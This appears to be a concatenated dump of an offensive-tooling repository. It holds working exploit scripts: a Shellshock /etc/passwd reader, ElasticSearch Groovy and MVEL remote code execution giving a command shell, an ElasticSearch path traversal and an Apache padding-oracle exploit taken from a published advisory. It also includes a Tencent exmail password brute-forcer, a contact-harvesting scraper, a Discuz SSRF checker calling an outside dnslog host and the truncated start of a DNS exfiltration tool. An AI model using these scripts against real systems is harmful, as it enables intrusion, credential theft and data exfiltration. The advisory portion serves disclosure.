#coding=utf-8 2 | import urllib2,re 3 | import urllib 4 | 5 | def bash_exp(url): 6 | regex = re.compile(r'/root:/bin/bash') 7 | header = { 8 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 9 | 'Accept-Charset': 'gb18030,utf-8;q=0.7,*;q=0.3', 10 | 'Accept-Encoding': 'gzip,deflate,sdch', 11 | 'Accept-Language': 'en-US,en;q=0.8', 12 | 'Connection': 'keep-alive', 13 | 'User-Agent': '() { :;}; echo `/bin/cat /etc/passwd`', 14 | 'Referer': 'http://www.google.com.hk' 15 | } 16 | request = urllib2.Request(url,headers = header) 17 | try: 18 | res = urllib2.urlopen(request) 19 | if re.findall(regex,res.read()): 20 | print u"bash: %s"%(url) 21 | else: 22 | print u"无bash漏洞: %s"%(url) 23 | res.close() 24 | except Exception: 25 | print u"访问网页超时%s"%(url) 26 | 27 | if __name__=='__main__': 28 | f = open('target.txt','r') 29 | for i in f.readlines(): 30 | bash_exp(urllib.unquote(i)) 31 | f.close() 32 | -------------------------------------------------------------------------------- /crack/exmail.qq.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author: Liar.Bing 4 | # description: 获取腾讯企业邮箱通讯录 5 | 6 | import requests 7 | import re 8 | 9 | import sys; 10 | reload(sys); 11 | 12 | sys.setdefaultencoding('utf8'); 13 | 14 | 15 | 16 | def print_tree(id, department_infos, level, staff_infors, f): 17 | prefix = '----' * level 18 | text = prefix + department_infos[id]['name'] + prefix 19 | print text 20 | f.write(text + '\n') 21 | for key, value in department_infos.items(): 22 | if value['pid'] == id: 23 | 24 | print_tree(value['id'], department_infos, level+1, staff_infors, f) 25 | prefix = ' ' * level 26 | for staff in staff_infors: 27 | if staff['pid'] == id: 28 | text = prefix + staff['name'] + ' ' + staff['alias'] 29 | print text 30 | f.write(text + '\n') 31 | 32 | if __name__ == "__main__": 33 | # url参数中的sid 34 | sid = '' 35 | # cookie中的qm_sid 和 qm_username 36 | qm_sid = '' 37 | qm_username='' 38 | 39 | all_departments_url = 'http://exmail.qq.com/cgi-bin/laddr_biz?action=show_party_list&sid={sid}&t=contact&view=biz'.format(sid=sid) 40 | cookies = dict(qm_sid=qm_sid 41 | , qm_username=qm_username) 42 | request = requests.get(all_departments_url,cookies=cookies) 43 | 44 | text = request.text 45 | regexp = r'{id:"(\S*?)", pid:"(\S*?)", name:"(\S*?)", order:"(\S*?)"}' 46 | results = re.findall(regexp, text) 47 | department_ids = [] 48 | department_infors = dict() 49 | root_department = None 50 | for item in results: 51 | 52 | department_ids.append(item[0]) 53 | department = dict(id=item[0], pid=item[1], name=item[2], order=item[3]) 54 | 55 | department_infors[item[0]] = department 56 | if item[1] == 0 or item[1] == '0': 57 | root_department = department 58 | 59 | regexp = r'{uin:"(\S*?)",pid:"(\S*?)",name:"(\S*?)",alias:"(\S*?)",sex:"(\S*?)",pos:"(\S*?)",tel:"(\S*?)",birth:"(\S*?)",slave_alias:"(\S*?)",department:"(\S*?)",mobile:"(\S*?)"}' 60 | limit = 10000 61 | 62 | all_emails = [] 63 | staff_infors = [] 64 | for department_id in department_ids: 65 | department_staff_url = 'http://exmail.qq.com/cgi-bin/laddr_biz?t=memtree&limit={limit}&partyid={partyid}&action=show_party&sid={sid}'.format(limit=limit, sid=sid, partyid=department_id) 66 | 67 | request = requests.get(department_staff_url,cookies=cookies) 68 | 69 | text = request.text 70 | 71 | results = re.findall(regexp, text) 72 | 73 | 74 | for item in results: 75 | all_emails.append(item[3]) 76 | 77 | staff = dict(uin=item[0], pid=item[1], name=item[2], alias=item[3], sex=item[4], pos=item[5], tel=item[6], birth=item[7], slave_alias=item[8], department=item[9], mobile=item[10]) 78 | staff_infors.append(staff) 79 | 80 | print str(len(all_emails)) + ' emails' 81 | with open('all_emails.txt', 'w') as f: 82 | for item in all_emails: 83 | f.write(item + '\n') 84 | 85 | with open('depart_staff_tree.txt', 'w') as f: 86 | print_tree(root_department['id'], department_infors, 0, staff_infors, f) 87 | 88 | 89 | 90 | 91 | #需要先手动登陆腾讯企业邮箱,然后把url中的sid(不是cookie里的)和cookie里的qm_sid、qm_username填到脚本里去,然后运行 92 | -------------------------------------------------------------------------------- /crack/mod_session_crypto_exploit.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Advisory: Padding Oracle in Apache mod_session_crypto 3 | 4 | During a penetration test, RedTeam Pentesting discovered a Padding 5 | Oracle vulnerability in mod_session_crypto of the Apache web server. 6 | This vulnerability can be exploited to decrypt the session data and even 7 | encrypt attacker-specified data. 8 | 9 | 10 | Details 11 | ======= 12 | 13 | Product: Apache HTTP Server mod_session_crypto 14 | Affected Versions: 2.3 to 2.5 15 | Fixed Versions: 2.4.25 16 | Vulnerability Type: Padding Oracle 17 | Security Risk: high 18 | Vendor URL: https://httpd.apache.org/docs/trunk/mod/mod_session_crypto.html 19 | Vendor Status: fixed version released 20 | Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-001.txt 21 | Advisory Status: published 22 | CVE: CVE-2016-0736 23 | CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0736 24 | 25 | 26 | Introduction 27 | ============ 28 | 29 | The module mod_session_crypto of the Apache HTTP Server can be used in 30 | conjunction with the modules mod_session and mod_session_cookie to store 31 | session data in an encrypted cookie within the users' browsers. This 32 | avoids server-side session state so that incoming HTTP requests can be 33 | easily distributed amongst a number of application web servers which do 34 | not need to share session state. 35 | 36 | 37 | More Details 38 | ============ 39 | 40 | The module mod_session_crypto uses symmetric cryptography to encrypt and 41 | decrypt session data and uses mod_session to store the encrypted data in 42 | a cookie (usually called "session") within the user's browser. The 43 | decrypted session is then made available to the application in an 44 | environment variable (in case of a CGI script) or in a custom HTTP 45 | request header. The application can add a custom HTTP response header 46 | (usually "X-Replace-Session") which instructs the HTTP server to replace 47 | the session's content with the value of the header. Detailed 48 | instructions to set up mod_session and mod_session_crypto can be found 49 | in the documentation: 50 | https://httpd.apache.org/docs/2.4/mod/mod_session.html#basicexamples 51 | 52 | The module mod_session_crypto is configured to use either 3DES or AES 53 | with various key sizes, defaulting to AES256. Encryption is handled by 54 | the function "encrypt_string": 55 | 56 | modules/session/mod_session_crypto.c 57 | ------------------------------------------------------------------------ 58 | /** 59 | * Encrypt the string given as per the current config. 60 | * 61 | * Returns APR_SUCCESS if successful. 62 | */ 63 | static apr_status_t encrypt_string(request_rec * r, const apr_crypto_t *f, 64 | session_crypto_dir_conf *dconf, const char *in, char **out) 65 | { 66 | [...] 67 | apr_crypto_key_t *key = NULL; 68 | [...] 69 | const unsigned char *iv = NULL; 70 | [...] 71 | 72 | /* use a uuid as a salt value, and prepend it to our result */ 73 | apr_uuid_get(&salt); 74 | 75 | [...] 76 | 77 | res = apr_crypto_passphrase(&key, &ivSize, passphrase, 78 | strlen(passphrase), 79 | (unsigned char *) (&salt), sizeof(apr_uuid_t), 80 | *cipher, APR_MODE_CBC, 1, 4096, f, r->pool); 81 | 82 | [...] 83 | 84 | res = apr_crypto_block_encrypt_init(&block, &iv, key, &blockSize, r->pool); 85 | [...] 86 | res = apr_crypto_block_encrypt(&encrypt, &encryptlen, (unsigned char *)in, 87 | strlen(in), block); 88 | [...] 89 | res = apr_crypto_block_encrypt_finish(encrypt + encryptlen, &tlen, block); 90 | [...] 91 | 92 | /* prepend the salt and the iv to the result */ 93 | combined = apr_palloc(r->pool, ivSize + encryptlen + sizeof(apr_uuid_t)); 94 | memcpy(combined, &salt, sizeof(apr_uuid_t)); 95 | memcpy(combined + sizeof(apr_uuid_t), iv, ivSize); 96 | memcpy(combined + sizeof(apr_uuid_t) + ivSize, encrypt, encryptlen); 97 | 98 | /* base64 encode the result */ 99 | base64 = apr_palloc(r->pool, apr_base64_encode_len(ivSize + encryptlen + 100 | sizeof(apr_uuid_t) + 1) 101 | * sizeof(char)); 102 | [...] 103 | return res; 104 | } 105 | ------------------------------------------------------------------------ 106 | 107 | The source code shows that an encryption key is derived from the 108 | configured password and a randomly chosen salt by calling the function 109 | "apr_crypto_passphrase". This function internally uses PBKDF2 to derive 110 | the key. The data is then encrypted and the salt and IV prepended to the 111 | encrypted data. Before returning to the caller, the result is encoded as 112 | base64. 113 | 114 | This procedure does not guarantee integrity of the ciphertext, so the 115 | Apache module is unable to detect whether a session sent back to the 116 | server has been tampered with. Depending on the application this often 117 | means that attackers are able to exploit a Padding Oracle vulnerability. 118 | This allows decrypting the session and encrypting arbitrary data chosen 119 | by the attacker. 120 | 121 | 122 | Proof of Concept 123 | ================ 124 | 125 | The vulnerability can be reproduced as follows. First, the modules 126 | mod_session, mod_session_crypto and mod_session_cookie are enabled and 127 | configured: 128 | 129 | ------------------------------------------------------------------------ 130 | Session On 131 | SessionEnv On 132 | SessionCookieName session path=/ 133 | SessionHeader X-Replace-Session 134 | SessionCryptoPassphrase RedTeam 135 | ------------------------------------------------------------------------ 136 | 137 | In addition, CGI scripts are enabled for a folder and the following CGI 138 | script is saved as "status.rb" and is made available to clients: 139 | 140 | ------------------------------------------------------------------------ 141 | #!/usr/bin/env ruby 142 | 143 | require 'cgi' 144 | 145 | cgi = CGI.new 146 | data = CGI.parse(ENV['HTTP_SESSION']) 147 | 148 | if data.has_key? 'username' 149 | puts 150 | puts "your username is %s" % data['username'] 151 | exit 152 | end 153 | 154 | puts "X-Replace-Session: username=guest×tamp=" + Time.now.strftime("%s") 155 | puts 156 | puts "not logged in" 157 | ------------------------------------------------------------------------ 158 | 159 | Once the CGI script is correctly set up, the command-line HTTP client curl 160 | can be used to access it: 161 | 162 | ------------------------------------------------------------------------ 163 | $ curl -i http://127.0.0.1:8080/cgi-bin/status.rb 164 | HTTP/1.1 200 OK 165 | Date: Tue, 19 Jan 2016 13:23:19 GMT 166 | Server: Apache/2.4.10 (Ubuntu) 167 | Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ 168 | l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/ 169 | Cache-Control: no-cache 170 | Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ 171 | l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/ 172 | Transfer-Encoding: chunked 173 | Content-Type: application/x-ruby 174 | 175 | not logged in 176 | ------------------------------------------------------------------------ 177 | 178 | The example shows that a new encrypted cookie with the name "session" is 179 | returned, and the response body contains the text "not logged in". 180 | Calling the script again with the cookie just returned reveals that the 181 | username in the session is set to "guest": 182 | 183 | ------------------------------------------------------------------------ 184 | $ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\ 185 | LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU= \ 186 | http://127.0.0.1:8080/cgi-bin/status.rb 187 | 188 | your username is guest 189 | ------------------------------------------------------------------------ 190 | 191 | Sending a modified cookie ending in "u=" instead of "U=" will invalidate 192 | the padding at the end of the ciphertext, so the session cannot be 193 | decrypted correctly and is therefore not passed to the CGI script, which 194 | returns the text "not logged in" again: 195 | 196 | ------------------------------------------------------------------------ 197 | $ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\ 198 | LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRu= \ 199 | http://127.0.0.1:8080/cgi-bin/status.rb 200 | 201 | not logged in 202 | ------------------------------------------------------------------------ 203 | 204 | This verifies the existence of the Padding Oracle vulnerability. The 205 | Python library[1] python-paddingoracle was then used to implement 206 | decrypting the session by exploiting the Padding Oracle vulnerability. 207 | 208 | exploit.py 209 | ------------------------------------------------------------------------ 210 | ''' 211 | 212 | from paddingoracle import BadPaddingException, PaddingOracle 213 | from base64 import b64encode, b64decode 214 | import requests 215 | 216 | class PadBuster(PaddingOracle): 217 | def __init__(self, valid_cookie, **kwargs): 218 | super(PadBuster, self).__init__(**kwargs) 219 | self.wait = kwargs.get('wait', 2.0) 220 | self.valid_cookie = valid_cookie 221 | 222 | def oracle(self, data, **kwargs): 223 | v = b64encode(self.valid_cookie+data) 224 | 225 | response = requests.get('http://127.0.0.1:8080/cgi-bin/status.rb', 226 | cookies=dict(session=v), stream=False, timeout=5, verify=False) 227 | 228 | if 'username' in response.content: 229 | logging.debug('No padding exception raised on %r', v) 230 | return 231 | 232 | raise BadPaddingException 233 | 234 | if __name__ == '__main__': 235 | import logging 236 | import sys 237 | 238 | if not sys.argv[2:]: 239 | print 'Usage: [encrypt|decrypt] ' 240 | sys.exit(1) 241 | 242 | logging.basicConfig(level=logging.WARN) 243 | mode = sys.argv[1] 244 | session = b64decode(sys.argv[2]) 245 | padbuster = PadBuster(session) 246 | 247 | if mode == "decrypt": 248 | cookie = padbuster.decrypt(session[32:], block_size=16, iv=session[16:32]) 249 | print('Decrypted session:\n%r' % cookie) 250 | elif mode == "encrypt": 251 | key = session[0:16] 252 | plaintext = sys.argv[3] 253 | 254 | s = padbuster.encrypt(plaintext, block_size=16) 255 | 256 | data = b64encode(key+s[0:len(s)-16]) 257 | print('Encrypted session:\n%s' % data) 258 | else: 259 | print "invalid mode" 260 | sys.exit(1) 261 | 262 | ''' 263 | ------------------------------------------------------------------------ 264 | 265 | This Python script can then be used to decrypt the session: 266 | 267 | ------------------------------------------------------------------------ 268 | $ time python exploit.py decrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\ 269 | Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU= 270 | Decrypted session: 271 | b'username=guest&timestamp=1453282205\r\r\r\r\r\r\r\r\r\r\r\r\r' 272 | 273 | real 6m43.088s 274 | user 0m15.464s 275 | sys 0m0.976s 276 | ------------------------------------------------------------------------ 277 | 278 | In this sample application, the username and a timestamp are included in 279 | the session data. The Python script can also be used to encrypt a new 280 | session containing the username "admin": 281 | 282 | ------------------------------------------------------------------------ 283 | $ time python exploit.py encrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\ 284 | Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYB\ 285 | RU= username=admin 286 | 287 | Encrypted session: 288 | sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7zmQ/GLFjF4pcXY 289 | 290 | real3m38.002s 291 | users0m8.536s 292 | sys0m0.512s 293 | 294 | ------------------------------------------------------------------------ 295 | 296 | Sending this newly encrypted session to the server shows that the 297 | username is now "admin": 298 | 299 | ------------------------------------------------------------------------ 300 | $ curl -b session=sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7\ 301 | zmQ/GLFjF4pcXY http://127.0.0.1:8080/cgi-bin/status.rb 302 | 303 | your username is admin 304 | ------------------------------------------------------------------------ 305 | 306 | 307 | Workaround 308 | ========== 309 | 310 | Use a different means to store the session, e.g. in a database by using 311 | mod_session_dbd. 312 | 313 | 314 | Fix 315 | === 316 | 317 | Update to Apache HTTP version 2.4.25 (see [2]). 318 | 319 | 320 | Security Risk 321 | ============= 322 | 323 | Applications which use mod_session_crypto usually store sensitive values 324 | in the session and rely on an attacker's inability to decrypt or modify 325 | the session. Successful exploitation of the Padding Oracle vulnerability 326 | subverts this mechanism and allows to construct sessions with arbitrary 327 | attacker-specified content. Depending on the application this may 328 | completely subvert the application's security. Therefore, this 329 | vulnerability poses a high risk. 330 | 331 | 332 | Timeline 333 | ======== 334 | 335 | 2016-01-11 Vulnerability identified 336 | 2016-01-12 Customer approved disclosure to vendor 337 | 2016-01-12 CVE number requested 338 | 2016-01-20 Vendor notified 339 | 2016-01-22 Vendor confirmed the vulnerability 340 | 2016-02-03 Vendor provided patch 341 | 2016-02-04 Apache Security Team assigned CVE number 342 | 2016-03-03 Requested status update from vendor, no response 343 | 2016-05-02 Requested status update from vendor, no response 344 | 2016-07-14 Requested status update and roadmap from vendor 345 | 2016-07-21 Vendor confirms working on a new released and inquired whether the 346 | patch fixes the vulnerability 347 | 2016-07-22 RedTeam confirms 348 | 2016-08-24 Requested status update from vendor 349 | 2016-08-29 Vendor states that there is no concrete timeline 350 | 2016-12-05 Vendor announces a release 351 | 2016-12-20 Vendor released fixed version 352 | 2016-12-23 Advisory released 353 | 354 | 355 | References 356 | ========== 357 | 358 | [1] https://github.com/mwielgoszewski/python-paddingoracle 359 | [2] http://httpd.apache.org/security/vulnerabilities_24.html 360 | 361 | 362 | RedTeam Pentesting GmbH 363 | ======================= 364 | 365 | RedTeam Pentesting offers individual penetration tests performed by a 366 | team of specialised IT-security experts. Hereby, security weaknesses in 367 | company networks or products are uncovered and can be fixed immediately. 368 | 369 | As there are only few experts in this field, RedTeam Pentesting wants to 370 | share its knowledge and enhance the public knowledge with research in 371 | security-related areas. The results are made available as public 372 | security advisories. 373 | 374 | More information about RedTeam Pentesting can be found at: 375 | https://www.redteam-pentesting.de/ 376 | ''' 377 | -------------------------------------------------------------------------------- /crack/qq_exmail_brute.py: -------------------------------------------------------------------------------- 1 | # 2 | # author : whoam1 3 | # 4 | # blog : http://www.cnnetarmy.com 5 | # 6 | # Use for brute exmail.qq.com week password. 7 | 8 | import requests 9 | import re 10 | import rsa 11 | import base64 12 | import time 13 | import random 14 | import threading 15 | 16 | def brute(email,password,UA): 17 | url = 'https://en.exmail.qq.com' 18 | headers ={ 19 | 'Connection': 'keep-alive','Cache-Control': 'max-age=0', 20 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 21 | 'Upgrade-Insecure-Requests': '1','DNT': '1', 22 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36', 23 | 'Accept-Encoding': 'gzip, deflate, sdch', 24 | 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4'} 25 | s = requests.Session() 26 | req = s.get(url,headers=headers) 27 | public_key = re.findall(r'var PublicKey = "(.*?)";',req.content)[0] 28 | ts= re.findall(r'var PublicTs="(.*?)";',req.content)[0] 29 | public_key = rsa.PublicKey(int(public_key, 16), 65537) 30 | res_tmp = rsa.encrypt('{password}\n{ts}\n'.format(password=password, ts=ts), public_key) 31 | p = base64.b64encode(res_tmp) 32 | uin = email.split('@')[0] 33 | domain = email.split('@')[1] 34 | post_data = {} 35 | post_data['sid'] = '' 36 | post_data['firstlogin'] = False 37 | post_data['domain'] = domain 38 | post_data['aliastype'] = 'other' 39 | post_data['errtemplate'] = 'dm_loginpage' 40 | post_data['first_step'] = '' 41 | post_data['buy_amount'] = '' 42 | post_data['year'] = '' 43 | post_data['company_name'] = '' 44 | post_data['is_get_dp_coupon'] = '' 45 | post_data['starttime'] = int(time.time() * 1000) 46 | post_data['redirecturl'] = '' 47 | post_data['f'] = 'biz' 48 | post_data['uin'] = uin 49 | post_data['p'] = p 50 | post_data['delegate_url'] = '' 51 | post_data['ts'] = ts 52 | post_data['from'] = '' 53 | post_data['ppp'] = '' 54 | post_data['chg'] = 0 55 | post_data['loginentry'] = 3 56 | post_data['s'] = '' 57 | post_data['dmtype'] = '' 58 | post_data['fun'] = '' 59 | post_data['inputuin'] = email 60 | post_data['verifycode'] = '' 61 | headers = {'Content-Type': 'application/x-www-form-urlencoded',"User-Agent": UA} 62 | login_url = 'https://en.exmail.qq.com/cgi-bin/login' 63 | print '[*] Now is trying...email:%s' % email 64 | try: 65 | resp = s.post(url=login_url, headers=headers, data=post_data) 66 | #根据是否绑定微信判定 67 | if 'var target=\"\"' in resp.content or 'loginpage?nocheckframe=true' in resp.content: 68 | print '[!] OK! Get email:%s,password:%s' % (email,password) 69 | with open('brute_ok.txt','a')as flag: 70 | flag.write(email) 71 | flag.write(' : ') 72 | flag.write(password) 73 | flag.write('\n') 74 | except: 75 | pass 76 | #s.cookies.clear() 77 | #post_data.clear() 78 | 79 | def main(): 80 | u = open('user-agents.txt','r') 81 | useragent = [] 82 | for ua in u.readlines(): 83 | uat = ua.strip() 84 | useragent.append(uat) 85 | UA = random.choice(useragent) 86 | ''' 87 | user = '' 88 | pwd = '' 89 | brute(user,pwd,UA) 90 | ''' 91 | tsk = [] 92 | pwd_list = ['%pwd%123','%pwd%521','%pwd%@123','%pwd%1024','%pwd%2017'] 93 | f = open('known_all_emails.txt','r') 94 | for i in f.readlines(): 95 | user = i.strip() 96 | p = i.split('@')[0].strip().capitalize() 97 | for j in pwd_list: 98 | pwd = j.replace('%pwd%',p) 99 | #brute(user,pwd,UA) 100 | t = threading.Thread(target = brute,args = (user,pwd,UA)) 101 | tsk.append(t) 102 | for t in tsk: 103 | t.start() 104 | t.join()#阻塞(0.1) 105 | 106 | 107 | if __name__ == '__main__': 108 | main() 109 | -------------------------------------------------------------------------------- /discuzz_ssrf_rce.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import requests 4 | import urlparse 5 | import re 6 | import random 7 | import time 8 | import sys 9 | 10 | def verify(target): 11 | request = requests.session() 12 | try: 13 | domain = "%s"%(urlparse.urlparse(target).netloc) 14 | num_str = str(random.randint(11111, 99999)) 15 | forumurl = ("{domain}/forum.php".format(domain=target)) 16 | response = request.get(forumurl, timeout=5, verify=False) 17 | formhash = re.findall(r'formhash" value="(.*?)"',response.content) 18 | netloc = urlparse.urlparse(target).netloc 19 | payload = 'http://pentest.22e642.dnslog.info/tangscan?s={netloc}{num_str}.jpg'.format(netloc=netloc,num_str=num_str) 20 | url = "{website}/forum.php?mod=ajax&action=downremoteimg&formhash={formhash}&message=[img]{payload}[/img]".format( 21 | website=target, 22 | formhash=formhash[0] if formhash else '', 23 | payload=payload) 24 | response = request.get(url, timeout=5, verify=False) 25 | time.sleep(5)#防止网络延迟导致漏报 26 | cloudeye_url = "http://wydns.sinaapp.com/api/569448dd8f4c2ab10aad4f9e78e112e0/pentest" 27 | response = requests.post(cloudeye_url, timeout=15, verify=False) 28 | if response.content.find(domain)!=-1 and response.content.find(num_str)!=-1: 29 | print "is vul" 30 | except Exception, e: 31 | print e 32 | if __name__=='__main__': 33 | verify(sys.argv[1]) 34 | -------------------------------------------------------------------------------- /es/ElasticSearch_groovy_rce.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | # coding: utf-8 3 | # Author: Darren Martyn, Xiphos Research Ltd. 4 | # Version: 20150309.1 5 | # Licence: WTFPL - wtfpl.net 6 | import json 7 | import requests 8 | import sys 9 | import readline 10 | readline.parse_and_bind('tab: complete') 11 | readline.parse_and_bind('set editing-mode vi') 12 | __version__ = "20150309.1" 13 | 14 | def banner(): 15 | print """\x1b[1;32m 16 | ▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓ 17 | ▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒ 18 | ▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░ 19 | ▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ 20 | ░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒ 21 | ░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░ 22 | ░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░ 23 | ░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ 24 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 25 | ░ 26 | Exploit for ElasticSearch , CVE-2015-1427 Version: %s\x1b[0m""" %(__version__) 27 | 28 | def execute_command(target, command): 29 | payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" %(command) 30 | try: 31 | url = "http://%s:9200/_search?pretty" %(target) 32 | r = requests.post(url=url, data=payload) 33 | except Exception, e: 34 | sys.exit("Exception Hit"+str(e)) 35 | values = json.loads(r.text) 36 | fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0] 37 | print fuckingjson.strip() 38 | 39 | 40 | def exploit(target): 41 | print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something" 42 | while True: 43 | cmd = raw_input("~$ ") 44 | if cmd == "exit": 45 | sys.exit("{!} Shell exiting!") 46 | else: 47 | execute_command(target=target, command=cmd) 48 | 49 | def main(args): 50 | banner() 51 | if len(args) != 2: 52 | sys.exit("Use: %s target" %(args[0])) 53 | exploit(target=args[1]) 54 | 55 | if __name__ == "__main__": 56 | main(args=sys.argv) 57 | -------------------------------------------------------------------------------- /es/ElasticSearch_mvel_rce.py: -------------------------------------------------------------------------------- 1 | curl -XPOST 'http://localhost:9200/_search?pretty' -d ' 2 | { 3 | "size": 1, 4 | "query": { 5 | "filtered": { 6 | "query": { 7 | "match_all": {} 8 | } 9 | } 10 | }, 11 | "script_fields": { 12 | "/etc/hosts": { 13 | "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();" 14 | }, 15 | "/etc/passwd": { 16 | "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();" 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /es/ElasticSearch_path_transversal.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign 3 | # Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5 4 | # Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net 5 | # Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/ 6 | # 7 | # Source: https://github.com/pandujar/elasticpwn/ 8 | 9 | import socket, sys 10 | 11 | print "!dSR ElasticPwn - for CVE-2015-3337\n" 12 | if len(sys.argv) <> 3: 13 | print "Ex: %s www.example.com /etc/passwd" % sys.argv[0] 14 | sys.exit() 15 | 16 | port = 9200 # Default ES http port 17 | host = sys.argv[1] 18 | fpath = sys.argv[2] 19 | 20 | def grab(plugin): 21 | socket.setdefaulttimeout(3) 22 | s = socket.socket() 23 | s.connect((host,port)) 24 | s.send("GET /_plugin/%s/../../../../../..%s HTTP/1.0\n" 25 | "Host: %s\n\n" % (plugin, fpath, host)) 26 | file = s.recv(2048) 27 | print " [*] Trying to retrieve %s:" % fpath 28 | if ("HTTP/1.0 200 OK" in file): 29 | print "\n%s" % file 30 | else: 31 | print "[-] File Not Found, No Access Rights or System Not Vulnerable" 32 | 33 | def pfind(plugin): 34 | try: 35 | socket.setdefaulttimeout(3) 36 | s = socket.socket() 37 | s.connect((host,port)) 38 | s.send("GET /_plugin/%s/ HTTP/1.0\n" 39 | "Host: %s\n\n" % (plugin, host)) 40 | file = s.recv(16) 41 | print "[*] Trying to find plugin %s:" % plugin 42 | if ("HTTP/1.0 200 OK" in file): 43 | print "[+] Plugin found!" 44 | grab(plugin) 45 | sys.exit() 46 | else: 47 | print "[-] Not Found " 48 | except Exception, e: 49 | print "[-] Error connecting to %s: %s" % (host, e) 50 | sys.exit() 51 | 52 | # Include more plugin names to check if they are installed 53 | pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head'] 54 | 55 | for plugin in pluginList: 56 | pfind(plugin) 57 | -------------------------------------------------------------------------------- /forward/dnsteal.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # ~ \x90 3 | ######################## 4 | # 5 | # TODO (in order of priority): 6 | # 7 | # * Windows PowerShell command variant (This will be 2.1 coming soon). 8 | # * fix bugs when no filename is entered (i know it exists just cba atm) 9 | # * possibly implement hex transfer 10 | # 11 | 12 | import socket 13 | import sys 14 | import binascii 15 | import time 16 | import hashlib 17 | import zlib 18 | import re 19 | import base64 20 | 21 | c = { "r" : "\033[1;31m", "g": "\033[1;32m", "y" : "\033[1;33m", "b" : "\033[1;34m", "e" : "\033[0m" } 22 | VERSION = "2.0" 23 | 24 | class DNSQuery: 25 | def __init__(self, data): 26 | self.data = data 27 | self.data_text = '' 28 | 29 | tipo = (ord(data[2]) >> 3) & 15 # Opcode bits 30 | if tipo == 0: # Standard query 31 | ini=12 32 | lon=ord(data[ini]) 33 | while lon != 0: 34 | self.data_text += 